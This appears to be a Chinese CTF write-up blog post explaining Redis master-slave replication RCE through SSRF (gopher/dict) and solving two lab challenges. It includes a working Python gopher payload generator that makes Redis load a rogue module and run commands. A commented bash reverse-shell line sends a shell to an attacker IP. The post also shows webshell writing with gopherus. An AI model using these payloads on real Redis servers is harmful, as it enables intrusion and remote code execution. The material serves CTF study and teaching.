redis 主从复制 rce 和 题目复现

0x01 RESP 协议

redis 客户端和服务端之间采用RESP 协议来通信,RESP 协议全称 REdis Serialization Protocol
理解 Redis 的 RESP 协议
在这里插入图片描述
在这里插入图片描述
搞清RESP 协议,就可以看懂 redis-rogue-server.py 中是怎么构造协议的了,以及怎么把redis 客户端命令转化成 通信时的 数据了

0x02 主从复制 中的FULLRESYNC (全局同步):

贴一篇文章,讲到很详细:Redis 全量同步解析
在这里插入图片描述
也就是说master 回复 +FULLRESYNC ,接着就把发送RDB 文件给 slave
看看redis-rogue-server.py源代码 中也正是利用这点,把原来需要发送的RDB 替换成了evil.so :
在这里插入图片描述
意思就是 本来FULLERSYNC 中, master 是要发送master 的rdb 文件给slave 的,但是通过脚本的修改,发送evil.so 的内容给slave 了
这样一来,master 就通过FULLERSYNC 来将evil.so 文件传到了slave

0x03 题目复现:
1.网鼎杯2020 玄武组 SSRFME:

本题在buu 上复现,首先进入题目,利用http://0.0.0.0/hint.php 绕过check_inner_ip() 函数的检测
发现提示 redis 的密码 为 root , 使用dict 协议尝试 一下
在这里插入图片描述
http://6192276e-39e6-4716-859a-e0ca5bff94ac.node3.buuoj.cn/?url=dict://0.0.0.0:6379/AUTH%3Aroot 认证
认证正确
在这里插入图片描述
利用小号开启buu 的一个linux 主机,因为buu 的 内网 linux 主机没法直接联网下载文件,所以使用ssh 上传本地下载好的redis-rogue-server 脚本 开启 server
在这里插入图片描述
然后使用构造gopher 协议的脚本
自己结合网上的脚本改进了,贴出脚本:

# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。
from urllib.parse import quote

def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x))) + CRLF + x
    cmd += CRLF
    return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
    exp_filename = "exp.so"
    cmd = [
    	# 第一次
        # "CONFIG SET dir /tmp/",
        # "config set dbfilename exp.so",
        # "SLAVEOF {} {}".format(lhost, lport),

		# 第二次
        # "MODULE LOAD /tmp/exp.so",
		
		# 第三次	
        "system.exec {}".format(command.replace(" ", "${IFS}")),
		# 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数

        # "system.rev 174.2.6.11${IFS}2333",
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit",

    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


if __name__ == '__main__':
    #攻击机ip:
    lhost =  "174.2.6.11"
    lport = "21000"
    passwd = "root"
    command = "cat /flag"
    # command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
    cmd = generate_rce(lhost,lport,passwd,command)

    rhost = "0.0.0.0"
    rport = "6379"

    payload = 'gopher://'+rhost+":"+rport+"/_"
    a = ""

    for x in cmd:
        a += redis_format(x)
        payload += quote(redis_format(x))

    print(a)
    print(payload)

第一次paylod :
在这里插入图片描述
在这里插入图片描述

第二次payload:
在这里插入图片描述
第三次payload:
在这里插入图片描述

还需要注意的一点是由于题目中还使用了curl ,所以需要对payload 进行二次url 编码,这个利用hackbar 可以很方便的操作

但是buu 的环境 我反弹shell 没有成功,使用system.rev 命令或者 system.exec 加反弹shell 命令 都没有反弹成功。也不知道什么原因,但是system.exec 确实可以执行命令,然后执行cat /flag 就可以得到flag 了


2.GKCTF EZ三剑客-EzWeb (正好是一起做的 ,虽然没用到主从复制但是也和redis rec 以及 ssrf 有关)

同样在buu 复现
首先进入题目,查看源代码,访问?secret
在这里插入图片描述
返回的是ifconfig 的结果,然后输入框中又提示 输入url ,很敏感,想到ssrf,然后通过结果 返回173.211.241.10 ,用burp 跑一下,得到173.211.241.11
在这里插入图片描述
那就接着跑端口,发现6379端口是开发的
在这里插入图片描述
推荐一款 gopher 协议利用工具 gopherus,非常好用,直接使用 gopherus 工具,直接生成webshell , 对了,直接在windows 下运行会出现乱码,修改gopherus.py ,在开头增加 :

import colorama
from colorama import init,Fore,Back,Style
init(autoreset=True)

即可解决乱码问题
在这里插入图片描述
把payload 放到url 处,然后再访问 http://173.211.241.11/shell.php 即可得到flag
在这里插入图片描述
题目作者的wp : GKCTF-EzWeb+redis未授权访问 , 里面提到一嘴,如果使用dict 协议来直接写webshell 可能会导致乱码或者写入失败,这个时候可以使用主从复制,在master 上面写shell ,然后通过主从复制,写入到slave 中。这个小 tips 可以记住

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值